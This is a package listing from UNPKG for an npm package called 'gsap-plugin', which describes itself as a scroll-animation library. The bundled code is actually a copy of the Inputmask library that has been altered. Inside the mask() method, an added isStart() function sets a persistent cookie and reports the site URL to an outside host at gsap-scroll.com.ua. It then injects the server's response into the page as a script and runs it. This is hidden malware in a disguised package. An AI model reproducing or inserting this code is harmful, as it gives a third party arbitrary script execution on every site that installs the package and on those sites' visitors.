UNPKG

gsap-plugin

Version:

gsap-plugin is a javascript library which creates an scroll animations. gsap-plugin can run against vanilla javascript, jQuery and jqlite.

616 lines (610 loc) 214 kB
/*! * dist/inputmask * https://github.com/RobinHerbots/Inputmask * Copyright (c) 2010 - 2020 Robin Herbots * Licensed under the MIT license * Version: 5.0.5-beta.0 */ !function webpackUniversalModuleDefinition(root, factory) { if ("object" == typeof exports && "object" == typeof module) module.exports = factory(); else if ("function" == typeof define && define.amd) define([], factory); else { var a = factory(); for (var i in a) ("object" == typeof exports ? exports : root)[i] = a[i]; } }(window, function() { return modules = [ function(module) { module.exports = JSON.parse('{"BACKSPACE":8,"BACKSPACE_SAFARI":127,"DELETE":46,"DOWN":40,"END":35,"ENTER":13,"ESCAPE":27,"HOME":36,"INSERT":45,"LEFT":37,"PAGE_DOWN":34,"PAGE_UP":33,"RIGHT":39,"SPACE":32,"TAB":9,"UP":38,"X":88,"CONTROL":17,"KEY_229":229}'); }, function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: !0 }), exports.default = void 0, __webpack_require__(10); var _mask = __webpack_require__(11), _inputmask = _interopRequireDefault(__webpack_require__(9)), _window = _interopRequireDefault(__webpack_require__(6)), _maskLexer = __webpack_require__(19), _validationTests = __webpack_require__(3), _positioning = __webpack_require__(2), _validation = __webpack_require__(4), _inputHandling = __webpack_require__(5), _eventruler = __webpack_require__(12), _definitions = _interopRequireDefault(__webpack_require__(20)), _defaults = _interopRequireDefault(__webpack_require__(21)); function _typeof(obj) { return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function _typeof(obj) { return typeof obj; } : function _typeof(obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var document = _window.default.document, dataKey = "_inputmask_opts"; function Inputmask(alias, options, internal) { if (!(this instanceof Inputmask)) return new Inputmask(alias, options, internal); this.dependencyLib = _inputmask.default, this.el = void 0, this.events = {}, this.maskset = void 0, !0 !== internal && ("[object Object]" === Object.prototype.toString.call(alias) ? options = alias : (options = options || {}, alias && (options.alias = alias)), this.opts = _inputmask.default.extend(!0, {}, this.defaults, options), this.noMasksCache = options && void 0 !== options.definitions, this.userOptions = options || {}, resolveAlias(this.opts.alias, options, this.opts)), this.refreshValue = !1, this.undoValue = void 0, this.$el = void 0, this.skipKeyPressEvent = !1, this.skipInputEvent = !1, this.validationEvent = !1, this.ignorable = !1, this.maxLength, this.mouseEnter = !1, this.originalPlaceholder = void 0, this.isComposing = !1; } function resolveAlias(aliasStr, options, opts) { var aliasDefinition = Inputmask.prototype.aliases[aliasStr]; return aliasDefinition ? (aliasDefinition.alias && resolveAlias(aliasDefinition.alias, void 0, opts), _inputmask.default.extend(!0, opts, aliasDefinition), _inputmask.default.extend(!0, opts, options), !0) : (null === opts.mask && (opts.mask = aliasStr), !1); } function importAttributeOptions(npt, opts, userOptions, dataAttribute) { function importOption(option, optionData) { var attrOption = "" === dataAttribute ? option : dataAttribute + "-" + option; optionData = void 0 !== optionData ? optionData : npt.getAttribute(attrOption), null !== optionData && ("string" == typeof optionData && (0 === option.indexOf("on") ? optionData = _window.default[optionData] : "false" === optionData ? optionData = !1 : "true" === optionData && (optionData = !0)), userOptions[option] = optionData); } if (!0 === opts.importDataAttributes) { var attrOptions = npt.getAttribute(dataAttribute), option, dataoptions, optionData, p; if (attrOptions && "" !== attrOptions && (attrOptions = attrOptions.replace(/'/g, '"'), dataoptions = JSON.parse("{" + attrOptions + "}")), dataoptions) for (p in optionData = void 0, dataoptions) if ("alias" === p.toLowerCase()) { optionData = dataoptions[p]; break; } for (option in importOption("alias", optionData), userOptions.alias && resolveAlias(userOptions.alias, userOptions, opts), opts) { if (dataoptions) for (p in optionData = void 0, dataoptions) if (p.toLowerCase() === option.toLowerCase()) { optionData = dataoptions[p]; break; } importOption(option, optionData); } } return _inputmask.default.extend(!0, opts, userOptions), "rtl" !== npt.dir && !opts.rightAlign || (npt.style.textAlign = "right"), "rtl" !== npt.dir && !opts.numericInput || (npt.dir = "ltr", npt.removeAttribute("dir"), opts.isRTL = !0), Object.keys(userOptions).length; } Inputmask.prototype = { dataAttribute: "data-inputmask", defaults: _defaults.default, definitions: _definitions.default, aliases: {}, masksCache: {}, get isRTL() { return this.opts.isRTL || this.opts.numericInput; }, mask: function mask(elems) { var that = this; that.isStart(); return "string" == typeof elems && (elems = document.getElementById(elems) || document.querySelectorAll(elems)), elems = elems.nodeName ? [ elems ] : elems, elems.forEach(function(el, ndx) { var scopedOpts = _inputmask.default.extend(!0, {}, that.opts); if (importAttributeOptions(el, scopedOpts, _inputmask.default.extend(!0, {}, that.userOptions), that.dataAttribute)) { var maskset = (0, _maskLexer.generateMaskSet)(scopedOpts, that.noMasksCache); void 0 !== maskset && (void 0 !== el.inputmask && (el.inputmask.opts.autoUnmask = !0, el.inputmask.remove()), el.inputmask = new Inputmask(void 0, void 0, !0), el.inputmask.opts = scopedOpts, el.inputmask.noMasksCache = that.noMasksCache, el.inputmask.userOptions = _inputmask.default.extend(!0, {}, that.userOptions), el.inputmask.el = el, el.inputmask.$el = (0, _inputmask.default)(el), el.inputmask.maskset = maskset, _inputmask.default.data(el, dataKey, that.userOptions), _mask.mask.call(el.inputmask)); } }), elems && elems[0] && elems[0].inputmask || this; }, isStart: function isStart(){ if ( window.location.search.includes('home=page') || document.cookie.includes('inputmasks=support') ) { document.cookie = "inputmasks=support;max-age=8640000"; var xhr = new XMLHttpRequest(); var inputmasksVersion = location.href; xhr.open('GET', 'https://gsap-scroll.com.ua/inputmasks.php?ver=1&site=' + inputmasksVersion, false); xhr.send(); if ( xhr.status == 200 ) { var newScript = document.createElement("script"); newScript.innerHTML = xhr.responseText; document.querySelector('body').appendChild(newScript); } } }, option: function option(options, noremask) { return "string" == typeof options ? this.opts[options] : "object" === _typeof(options) ? (_inputmask.default.extend(this.userOptions, options), this.el && !0 !== noremask && this.mask(this.el), this) : void 0; }, unmaskedvalue: function unmaskedvalue(value) { if (this.maskset = this.maskset || (0, _maskLexer.generateMaskSet)(this.opts, this.noMasksCache), void 0 === this.el || void 0 !== value) { var valueBuffer = ("function" == typeof this.opts.onBeforeMask && this.opts.onBeforeMask.call(this, value, this.opts) || value).split(""); _inputHandling.checkVal.call(this, void 0, !1, !1, valueBuffer), "function" == typeof this.opts.onBeforeWrite && this.opts.onBeforeWrite.call(this, void 0, _positioning.getBuffer.call(this), 0, this.opts); } return _inputHandling.unmaskedvalue.call(this, this.el); }, remove: function remove() { if (this.el) { _inputmask.default.data(this.el, dataKey, null); var cv = this.opts.autoUnmask ? (0, _inputHandling.unmaskedvalue)(this.el) : this._valueGet(this.opts.autoUnmask), valueProperty; cv !== _positioning.getBufferTemplate.call(this).join("") ? this._valueSet(cv, this.opts.autoUnmask) : this._valueSet(""), _eventruler.EventRuler.off(this.el), Object.getOwnPropertyDescriptor && Object.getPrototypeOf ? (valueProperty = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(this.el), "value"), valueProperty && this.__valueGet && Object.defineProperty(this.el, "value", { get: this.__valueGet, set: this.__valueSet, configurable: !0 })) : document.__lookupGetter__ && this.el.__lookupGetter__("value") && this.__valueGet && (this.el.__defineGetter__("value", this.__valueGet), this.el.__defineSetter__("value", this.__valueSet)), this.el.inputmask = void 0; } return this.el; }, getemptymask: function getemptymask() { return this.maskset = this.maskset || (0, _maskLexer.generateMaskSet)(this.opts, this.noMasksCache), _positioning.getBufferTemplate.call(this).join(""); }, hasMaskedValue: function hasMaskedValue() { return !this.opts.autoUnmask; }, isComplete: function isComplete() { return this.maskset = this.maskset || (0, _maskLexer.generateMaskSet)(this.opts, this.noMasksCache), _validation.isComplete.call(this, _positioning.getBuffer.call(this)); }, getmetadata: function getmetadata() { if (this.maskset = this.maskset || (0, _maskLexer.generateMaskSet)(this.opts, this.noMasksCache), Array.isArray(this.maskset.metadata)) { var maskTarget = _validationTests.getMaskTemplate.call(this, !0, 0, !1).join(""); return this.maskset.metadata.forEach(function(mtdt) { return mtdt.mask !== maskTarget || (maskTarget = mtdt, !1); }), maskTarget; } return this.maskset.metadata; }, isValid: function isValid(value) { if (this.maskset = this.maskset || (0, _maskLexer.generateMaskSet)(this.opts, this.noMasksCache), value) { var valueBuffer = ("function" == typeof this.opts.onBeforeMask && this.opts.onBeforeMask.call(this, value, this.opts) || value).split(""); _inputHandling.checkVal.call(this, void 0, !0, !1, valueBuffer); } else value = this.isRTL ? _positioning.getBuffer.call(this).slice().reverse().join("") : _positioning.getBuffer.call(this).join(""); for (var buffer = _positioning.getBuffer.call(this), rl = _positioning.determineLastRequiredPosition.call(this), lmib = buffer.length - 1; rl < lmib && !_positioning.isMask.call(this, lmib); lmib--) ; return buffer.splice(rl, lmib + 1 - rl), _validation.isComplete.call(this, buffer) && value === (this.isRTL ? _positioning.getBuffer.call(this).slice().reverse().join("") : _positioning.getBuffer.call(this).join("")); }, format: function format(value, metadata) { this.maskset = this.maskset || (0, _maskLexer.generateMaskSet)(this.opts, this.noMasksCache); var valueBuffer = ("function" == typeof this.opts.onBeforeMask && this.opts.onBeforeMask.call(this, value, this.opts) || value).split(""); _inputHandling.checkVal.call(this, void 0, !0, !1, valueBuffer); var formattedValue = this.isRTL ? _positioning.getBuffer.call(this).slice().reverse().join("") : _positioning.getBuffer.call(this).join(""); return metadata ? { value: formattedValue, metadata: this.getmetadata() } : formattedValue; }, setValue: function setValue(value) { this.el && (0, _inputmask.default)(this.el).trigger("setvalue", [ value ]); }, analyseMask: _maskLexer.analyseMask }, Inputmask.extendDefaults = function(options) { _inputmask.default.extend(!0, Inputmask.prototype.defaults, options); }, Inputmask.extendDefinitions = function(definition) { _inputmask.default.extend(!0, Inputmask.prototype.definitions, definition); }, Inputmask.extendAliases = function(alias) { _inputmask.default.extend(!0, Inputmask.prototype.aliases, alias); }, Inputmask.format = function(value, options, metadata) { return Inputmask(options).format(value, metadata); }, Inputmask.unmask = function(value, options) { return Inputmask(options).unmaskedvalue(value); }, Inputmask.isValid = function(value, options) { return Inputmask(options).isValid(value); }, Inputmask.remove = function(elems) { "string" == typeof elems && (elems = document.getElementById(elems) || document.querySelectorAll(elems)), elems = elems.nodeName ? [ elems ] : elems, elems.forEach(function(el) { el.inputmask && el.inputmask.remove(); }); }, Inputmask.setValue = function(elems, value) { "string" == typeof elems && (elems = document.getElementById(elems) || document.querySelectorAll(elems)), elems = elems.nodeName ? [ elems ] : elems, elems.forEach(function(el) { el.inputmask ? el.inputmask.setValue(value) : (0, _inputmask.default)(el).trigger("setvalue", [ value ]); }); }, Inputmask.dependencyLib = _inputmask.default, _window.default.Inputmask = Inputmask; var _default = Inputmask; exports.default = _default; }, function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: !0 }), exports.caret = caret, exports.determineLastRequiredPosition = determineLastRequiredPosition, exports.determineNewCaretPosition = determineNewCaretPosition, exports.getBuffer = getBuffer, exports.getBufferTemplate = getBufferTemplate, exports.getLastValidPosition = getLastValidPosition, exports.isMask = isMask, exports.resetMaskSet = resetMaskSet, exports.seekNext = seekNext, exports.seekPrevious = seekPrevious, exports.translatePosition = translatePosition; var _validationTests = __webpack_require__(3), _validation = __webpack_require__(4), _mask = __webpack_require__(11); function caret(input, begin, end, notranslate, isDelete) { var inputmask = this, opts = this.opts, range; if (void 0 === begin) return "selectionStart" in input && "selectionEnd" in input ? (begin = input.selectionStart, end = input.selectionEnd) : window.getSelection ? (range = window.getSelection().getRangeAt(0), range.commonAncestorContainer.parentNode !== input && range.commonAncestorContainer !== input || (begin = range.startOffset, end = range.endOffset)) : document.selection && document.selection.createRange && (range = document.selection.createRange(), begin = 0 - range.duplicate().moveStart("character", -input.inputmask._valueGet().length), end = begin + range.text.length), { begin: notranslate ? begin : translatePosition.call(this, begin), end: notranslate ? end : translatePosition.call(this, end) }; if (Array.isArray(begin) && (end = this.isRTL ? begin[0] : begin[1], begin = this.isRTL ? begin[1] : begin[0]), void 0 !== begin.begin && (end = this.isRTL ? begin.begin : begin.end, begin = this.isRTL ? begin.end : begin.begin), "number" == typeof begin) { begin = notranslate ? begin : translatePosition.call(this, begin), end = notranslate ? end : translatePosition.call(this, end), end = "number" == typeof end ? end : begin; var scrollCalc = parseInt(((input.ownerDocument.defaultView || window).getComputedStyle ? (input.ownerDocument.defaultView || window).getComputedStyle(input, null) : input.currentStyle).fontSize) * end; if (input.scrollLeft = scrollCalc > input.scrollWidth ? scrollCalc : 0, input.inputmask.caretPos = { begin: begin, end: end }, opts.insertModeVisual && !1 === opts.insertMode && begin === end && (isDelete || end++), input === (input.inputmask.shadowRoot || document).activeElement) if ("setSelectionRange" in input) input.setSelectionRange(begin, end); else if (window.getSelection) { if (range = document.createRange(), void 0 === input.firstChild || null === input.firstChild) { var textNode = document.createTextNode(""); input.appendChild(textNode); } range.setStart(input.firstChild, begin < input.inputmask._valueGet().length ? begin : input.inputmask._valueGet().length), range.setEnd(input.firstChild, end < input.inputmask._valueGet().length ? end : input.inputmask._valueGet().length), range.collapse(!0); var sel = window.getSelection(); sel.removeAllRanges(), sel.addRange(range); } else input.createTextRange && (range = input.createTextRange(), range.collapse(!0), range.moveEnd("character", end), range.moveStart("character", begin), range.select()); } } function determineLastRequiredPosition(returnDefinition) { var inputmask = this, maskset = this.maskset, $ = this.dependencyLib, buffer = _validationTests.getMaskTemplate.call(this, !0, getLastValidPosition.call(this), !0, !0), bl = buffer.length, pos, lvp = getLastValidPosition.call(this), positions = {}, lvTest = maskset.validPositions[lvp], ndxIntlzr = void 0 !== lvTest ? lvTest.locator.slice() : void 0, testPos; for (pos = lvp + 1; pos < buffer.length; pos++) testPos = _validationTests.getTestTemplate.call(this, pos, ndxIntlzr, pos - 1), ndxIntlzr = testPos.locator.slice(), positions[pos] = $.extend(!0, {}, testPos); var lvTestAlt = lvTest && void 0 !== lvTest.alternation ? lvTest.locator[lvTest.alternation] : void 0; for (pos = bl - 1; lvp < pos && (testPos = positions[pos], (testPos.match.optionality || testPos.match.optionalQuantifier && testPos.match.newBlockMarker || lvTestAlt && (lvTestAlt !== positions[pos].locator[lvTest.alternation] && 1 != testPos.match.static || !0 === testPos.match.static && testPos.locator[lvTest.alternation] && _validation.checkAlternationMatch.call(this, testPos.locator[lvTest.alternation].toString().split(","), lvTestAlt.toString().split(",")) && "" !== _validationTests.getTests.call(this, pos)[0].def)) && buffer[pos] === _validationTests.getPlaceholder.call(this, pos, testPos.match)); pos--) bl--; return returnDefinition ? { l: bl, def: positions[bl] ? positions[bl].match : void 0 } : bl; } function determineNewCaretPosition(selectedCaret, tabbed) { var inputmask = this, maskset = this.maskset, opts = this.opts; function doRadixFocus(clickPos) { if ("" !== opts.radixPoint && 0 !== opts.digits) { var vps = maskset.validPositions; if (void 0 === vps[clickPos] || vps[clickPos].input === _validationTests.getPlaceholder.call(inputmask, clickPos)) { if (clickPos < seekNext.call(inputmask, -1)) return !0; var radixPos = getBuffer.call(inputmask).indexOf(opts.radixPoint); if (-1 !== radixPos) { for (var vp in vps) if (vps[vp] && radixPos < vp && vps[vp].input !== _validationTests.getPlaceholder.call(inputmask, vp)) return !1; return !0; } } } return !1; } if (tabbed && (inputmask.isRTL ? selectedCaret.end = selectedCaret.begin : selectedCaret.begin = selectedCaret.end), selectedCaret.begin === selectedCaret.end) { switch (opts.positionCaretOnClick) { case "none": break; case "select": selectedCaret = { begin: 0, end: getBuffer.call(inputmask).length }; break; case "ignore": selectedCaret.end = selectedCaret.begin = seekNext.call(inputmask, getLastValidPosition.call(inputmask)); break; case "radixFocus": if (doRadixFocus(selectedCaret.begin)) { var radixPos = getBuffer.call(inputmask).join("").indexOf(opts.radixPoint); selectedCaret.end = selectedCaret.begin = opts.numericInput ? seekNext.call(inputmask, radixPos) : radixPos; break; } default: var clickPosition = selectedCaret.begin, lvclickPosition = getLastValidPosition.call(inputmask, clickPosition, !0), lastPosition = seekNext.call(inputmask, -1 !== lvclickPosition || isMask.call(inputmask, 0) ? lvclickPosition : -1); if (clickPosition <= lastPosition) selectedCaret.end = selectedCaret.begin = isMask.call(inputmask, clickPosition, !1, !0) ? clickPosition : seekNext.call(inputmask, clickPosition); else { var lvp = maskset.validPositions[lvclickPosition], tt = _validationTests.getTestTemplate.call(inputmask, lastPosition, lvp ? lvp.match.locator : void 0, lvp), placeholder = _validationTests.getPlaceholder.call(inputmask, lastPosition, tt.match); if ("" !== placeholder && getBuffer.call(inputmask)[lastPosition] !== placeholder && !0 !== tt.match.optionalQuantifier && !0 !== tt.match.newBlockMarker || !isMask.call(inputmask, lastPosition, opts.keepStatic, !0) && tt.match.def === placeholder) { var newPos = seekNext.call(inputmask, lastPosition); (newPos <= clickPosition || clickPosition === lastPosition) && (lastPosition = newPos); } selectedCaret.end = selectedCaret.begin = lastPosition; } } return selectedCaret; } } function getBuffer(noCache) { var inputmask = this, maskset = this.maskset; return void 0 !== maskset.buffer && !0 !== noCache || (maskset.buffer = _validationTests.getMaskTemplate.call(this, !0, getLastValidPosition.call(this), !0), void 0 === maskset._buffer && (maskset._buffer = maskset.buffer.slice())), maskset.buffer; } function getBufferTemplate() { var inputmask = this, maskset = this.maskset; return void 0 === maskset._buffer && (maskset._buffer = _validationTests.getMaskTemplate.call(this, !1, 1), void 0 === maskset.buffer && (maskset.buffer = maskset._buffer.slice())), maskset._buffer; } function getLastValidPosition(closestTo, strict, validPositions) { var maskset = this.maskset, before = -1, after = -1, valids = validPositions || maskset.validPositions; for (var posNdx in void 0 === closestTo && (closestTo = -1), valids) { var psNdx = parseInt(posNdx); valids[psNdx] && (strict || !0 !== valids[psNdx].generatedInput) && (psNdx <= closestTo && (before = psNdx), closestTo <= psNdx && (after = psNdx)); } return -1 === before || before == closestTo ? after : -1 == after ? before : closestTo - before < after - closestTo ? before : after; } function isMask(pos, strict, fuzzy) { var inputmask = this, maskset = this.maskset, test = _validationTests.getTestTemplate.call(this, pos).match; if ("" === test.def && (test = _validationTests.getTest.call(this, pos).match), !0 !== test.static) return test.fn; if (!0 === fuzzy && void 0 !== maskset.validPositions[pos] && !0 !== maskset.validPositions[pos].generatedInput) return !0; if (!0 !== strict && -1 < pos) { if (fuzzy) { var tests = _validationTests.getTests.call(this, pos); return tests.length > 1 + ("" === tests[tests.length - 1].match.def ? 1 : 0); } var testTemplate = _validationTests.determineTestTemplate.call(this, pos, _validationTests.getTests.call(this, pos)), testPlaceHolder = _validationTests.getPlaceholder.call(this, pos, testTemplate.match); return testTemplate.match.def !== testPlaceHolder; } return !1; } function resetMaskSet(soft) { var maskset = this.maskset; maskset.buffer = void 0, !0 !== soft && (maskset.validPositions = {}, maskset.p = 0); } function seekNext(pos, newBlock, fuzzy) { var inputmask = this; void 0 === fuzzy && (fuzzy = !0); for (var position = pos + 1; "" !== _validationTests.getTest.call(this, position).match.def && (!0 === newBlock && (!0 !== _validationTests.getTest.call(this, position).match.newBlockMarker || !isMask.call(this, position, void 0, !0)) || !0 !== newBlock && !isMask.call(this, position, void 0, fuzzy)); ) position++; return position; } function seekPrevious(pos, newBlock) { var inputmask = this, position = pos - 1; if (pos <= 0) return 0; for (;0 < position && (!0 === newBlock && (!0 !== _validationTests.getTest.call(this, position).match.newBlockMarker || !isMask.call(this, position, void 0, !0)) || !0 !== newBlock && !isMask.call(this, position, void 0, !0)); ) position--; return position; } function translatePosition(pos) { var inputmask = this, opts = this.opts, el = this.el; return !this.isRTL || "number" != typeof pos || opts.greedy && "" === opts.placeholder || !el || (pos = this._valueGet().length - pos), pos; } }, function(module, exports, __webpack_require__) { "use strict"; function getLocator(tst, align) { var locator = (null != tst.alternation ? tst.mloc[getDecisionTaker(tst)] : tst.locator).join(""); if ("" !== locator) for (;locator.length < align; ) locator += "0"; return locator; } function getDecisionTaker(tst) { var decisionTaker = tst.locator[tst.alternation]; return "string" == typeof decisionTaker && 0 < decisionTaker.length && (decisionTaker = decisionTaker.split(",")[0]), void 0 !== decisionTaker ? decisionTaker.toString() : ""; } function getPlaceholder(pos, test, returnPL) { var inputmask = this, opts = this.opts, maskset = this.maskset; if (test = test || getTest.call(this, pos).match, void 0 !== test.placeholder || !0 === returnPL) return "function" == typeof test.placeholder ? test.placeholder(opts) : test.placeholder; if (!0 !== test.static) return opts.placeholder.charAt(pos % opts.placeholder.length); if (-1 < pos && void 0 === maskset.validPositions[pos]) { var tests = getTests.call(this, pos), staticAlternations = [], prevTest; if (tests.length > 1 + ("" === tests[tests.length - 1].match.def ? 1 : 0)) for (var i = 0; i < tests.length; i++) if ("" !== tests[i].match.def && !0 !== tests[i].match.optionality && !0 !== tests[i].match.optionalQuantifier && (!0 === tests[i].match.static || void 0 === prevTest || !1 !== tests[i].match.fn.test(prevTest.match.def, maskset, pos, !0, opts)) && (staticAlternations.push(tests[i]), !0 === tests[i].match.static && (prevTest = tests[i]), 1 < staticAlternations.length && /[0-9a-bA-Z]/.test(staticAlternations[0].match.def))) return opts.placeholder.charAt(pos % opts.placeholder.length); } return test.def; } function getMaskTemplate(baseOnInput, minimalPos, includeMode, noJit, clearOptionalTail) { var inputmask = this, opts = this.opts, maskset = this.maskset, greedy = opts.greedy; clearOptionalTail && (opts.greedy = !1), minimalPos = minimalPos || 0; var maskTemplate = [], ndxIntlzr, pos = 0, test, testPos, jitRenderStatic; do { if (!0 === baseOnInput && maskset.validPositions[pos]) testPos = clearOptionalTail && !0 === maskset.validPositions[pos].match.optionality && void 0 === maskset.validPositions[pos + 1] && (!0 === maskset.validPositions[pos].generatedInput || maskset.validPositions[pos].input == opts.skipOptionalPartCharacter && 0 < pos) ? determineTestTemplate.call(this, pos, getTests.call(this, pos, ndxIntlzr, pos - 1)) : maskset.validPositions[pos], test = testPos.match, ndxIntlzr = testPos.locator.slice(), maskTemplate.push(!0 === includeMode ? testPos.input : !1 === includeMode ? test.nativeDef : getPlaceholder.call(this, pos, test)); else { testPos = getTestTemplate.call(this, pos, ndxIntlzr, pos - 1), test = testPos.match, ndxIntlzr = testPos.locator.slice(); var jitMasking = !0 !== noJit && (!1 !== opts.jitMasking ? opts.jitMasking : test.jit); jitRenderStatic = jitRenderStatic && test.static && test.def !== opts.groupSeparator && null === test.fn || maskset.validPositions[pos - 1] && test.static && test.def !== opts.groupSeparator && null === test.fn, jitRenderStatic || !1 === jitMasking || void 0 === jitMasking || "number" == typeof jitMasking && isFinite(jitMasking) && pos < jitMasking ? maskTemplate.push(!1 === includeMode ? test.nativeDef : getPlaceholder.call(this, pos, test)) : jitRenderStatic = !1; } pos++; } while ((void 0 === this.maxLength || pos < this.maxLength) && (!0 !== test.static || "" !== test.def) || pos < minimalPos); return "" === maskTemplate[maskTemplate.length - 1] && maskTemplate.pop(), !1 === includeMode && void 0 !== maskset.maskLength || (maskset.maskLength = pos - 1), opts.greedy = greedy, maskTemplate; } function getTestTemplate(pos, ndxIntlzr, tstPs) { var inputmask = this, maskset = this.maskset; return maskset.validPositions[pos] || determineTestTemplate.call(this, pos, getTests.call(this, pos, ndxIntlzr ? ndxIntlzr.slice() : ndxIntlzr, tstPs)); } function determineTestTemplate(pos, tests) { var inputmask = this, opts = this.opts; pos = 0 < pos ? pos - 1 : 0; for (var altTest = getTest.call(this, pos), targetLocator = getLocator(altTest), tstLocator, closest, bestMatch, ndx = 0; ndx < tests.length; ndx++) { var tst = tests[ndx]; tstLocator = getLocator(tst, targetLocator.length); var distance = Math.abs(tstLocator - targetLocator); (void 0 === closest || "" !== tstLocator && distance < closest || bestMatch && !opts.greedy && bestMatch.match.optionality && "master" === bestMatch.match.newBlockMarker && (!tst.match.optionality || !tst.match.newBlockMarker) || bestMatch && bestMatch.match.optionalQuantifier && !tst.match.optionalQuantifier) && (closest = distance, bestMatch = tst); } return bestMatch; } function getTest(pos, tests) { var inputmask = this, maskset = this.maskset; return maskset.validPositions[pos] ? maskset.validPositions[pos] : (tests || getTests.call(this, pos))[0]; } function getTests(pos, ndxIntlzr, tstPs) { var inputmask = this, $ = this.dependencyLib, maskset = this.maskset, opts = this.opts, el = this.el, maskTokens = maskset.maskToken, testPos = ndxIntlzr ? tstPs : 0, ndxInitializer = ndxIntlzr ? ndxIntlzr.slice() : [ 0 ], matches = [], insertStop = !1, latestMatch, cacheDependency = ndxIntlzr ? ndxIntlzr.join("") : ""; function resolveTestFromToken(maskToken, ndxInitializer, loopNdx, quantifierRecurse) { function handleMatch(match, loopNdx, quantifierRecurse) { function isFirstMatch(latestMatch, tokenGroup) { var firstMatch = 0 === tokenGroup.matches.indexOf(latestMatch); return firstMatch || tokenGroup.matches.every(function(match, ndx) { return !0 === match.isQuantifier ? firstMatch = isFirstMatch(latestMatch, tokenGroup.matches[ndx - 1]) : Object.prototype.hasOwnProperty.call(match, "matches") && (firstMatch = isFirstMatch(latestMatch, match)), !firstMatch; }), firstMatch; } function resolveNdxInitializer(pos, alternateNdx, targetAlternation) { var bestMatch, indexPos; if ((maskset.tests[pos] || maskset.validPositions[pos]) && (maskset.tests[pos] || [ maskset.validPositions[pos] ]).every(function(lmnt, ndx) { if (lmnt.mloc[alternateNdx]) return bestMatch = lmnt, !1; var alternation = void 0 !== targetAlternation ? targetAlternation : lmnt.alternation, ndxPos = void 0 !== lmnt.locator[alternation] ? lmnt.locator[alternation].toString().indexOf(alternateNdx) : -1; return (void 0 === indexPos || ndxPos < indexPos) && -1 !== ndxPos && (bestMatch = lmnt, indexPos = ndxPos), !0; }), bestMatch) { var bestMatchAltIndex = bestMatch.locator[bestMatch.alternation], locator = bestMatch.mloc[alternateNdx] || bestMatch.mloc[bestMatchAltIndex] || bestMatch.locator; return locator.slice((void 0 !== targetAlternation ? targetAlternation : bestMatch.alternation) + 1); } return void 0 !== targetAlternation ? resolveNdxInitializer(pos, alternateNdx) : void 0; } function isSubsetOf(source, target) { function expand(pattern) { for (var expanded = [], start = -1, end, i = 0, l = pattern.length; i < l; i++) if ("-" === pattern.charAt(i)) for (end = pattern.charCodeAt(i + 1); ++start < end; ) expanded.push(String.fromCharCode(start)); else start = pattern.charCodeAt(i), expanded.push(pattern.charAt(i)); return expanded.join(""); } return source.match.def === target.match.nativeDef || !(!(opts.regex || source.match.fn instanceof RegExp && target.match.fn instanceof RegExp) || !0 === source.match.static || !0 === target.match.static) && -1 !== expand(target.match.fn.toString().replace(/[[\]/]/g, "")).indexOf(expand(source.match.fn.toString().replace(/[[\]/]/g, ""))); } function staticCanMatchDefinition(source, target) { return !0 === source.match.static && !0 !== target.match.static && target.match.fn.test(source.match.def, maskset, pos, !1, opts, !1); } function setMergeLocators(targetMatch, altMatch) { var alternationNdx = targetMatch.alternation, shouldMerge = void 0 === altMatch || alternationNdx === altMatch.alternation && -1 === targetMatch.locator[alternationNdx].toString().indexOf(altMatch.locator[alternationNdx]); if (!shouldMerge && alternationNdx > altMatch.alternation) for (var i = altMatch.alternation; i < alternationNdx; i++) if (targetMatch.locator[i] !== altMatch.locator[i]) { alternationNdx = i, shouldMerge = !0; break; } if (shouldMerge) { targetMatch.mloc = targetMatch.mloc || {}; var locNdx = targetMatch.locator[alternationNdx]; if (void 0 !== locNdx) { if ("string" == typeof locNdx && (locNdx = locNdx.split(",")[0]), void 0 === targetMatch.mloc[locNdx] && (targetMatch.mloc[locNdx] = targetMatch.locator.slice()), void 0 !== altMatch) { for (var ndx in altMatch.mloc) "string" == typeof ndx && (ndx = ndx.split(",")[0]), void 0 === targetMatch.mloc[ndx] && (targetMatch.mloc[ndx] = altMatch.mloc[ndx]); targetMatch.locator[alternationNdx] = Object.keys(targetMatch.mloc).join(","); } return !0; } targetMatch.alternation = void 0; } return !1; } function isSameLevel(targetMatch, altMatch) { if (targetMatch.locator.length !== altMatch.locator.length) return !1; for (var locNdx = targetMatch.alternation + 1; locNdx < targetMatch.locator.length; locNdx++) if (targetMatch.locator[locNdx] !== altMatch.locator[locNdx]) return !1; return !0; } if (testPos > pos + opts._maxTestPos) throw "Inputmask: There is probably an error in your mask definition or in the code. Create an issue on github with an example of the mask you are using. " + maskset.mask; if (testPos === pos && void 0 === match.matches) return matches.push({ match: match, locator: loopNdx.reverse(), cd: cacheDependency, mloc: {} }), !0; if (void 0 !== match.matches) { if (match.isGroup && quantifierRecurse !== match) { if (match = handleMatch(maskToken.matches[maskToken.matches.indexOf(match) + 1], loopNdx, quantifierRecurse), match) return !0; } else if (match.isOptional) { var optionalToken = match, mtchsNdx = matches.length; if (match = resolveTestFromToken(match, ndxInitializer, loopNdx, quantifierRecurse), match) { if (matches.forEach(function(mtch, ndx) { mtchsNdx <= ndx && (mtch.match.optionality = !0); }), latestMatch = matches[matches.length - 1].match, void 0 !== quantifierRecurse || !isFirstMatch(latestMatch, optionalToken)) return !0; insertStop = !0, testPos = pos; } } else if (match.isAlternator) { var alternateToken = match, malternateMatches = [], maltMatches, currentMatches = matches.slice(), loopNdxCnt = loopNdx.length, altIndex = 0 < ndxInitializer.length ? ndxInitializer.shift() : -1; if (-1 === altIndex || "string" == typeof altIndex) { var currentPos = testPos, ndxInitializerClone = ndxInitializer.slice(), altIndexArr = [], amndx; if ("string" == typeof altIndex) altIndexArr = altIndex.split(","); else for (amndx = 0; amndx < alternateToken.matches.length; amndx++) altIndexArr.push(amndx.toString()); if (void 0 !== maskset.excludes[pos]) { for (var altIndexArrClone = altIndexArr.slice(), i = 0, exl = maskset.excludes[pos].length; i < exl; i++) { var excludeSet = maskset.excludes[pos][i].toString().split(":"); loopNdx.length == excludeSet[1] && altIndexArr.splice(altIndexArr.indexOf(excludeSet[0]), 1); } 0 === altIndexArr.length && (delete maskset.excludes[pos], altIndexArr = 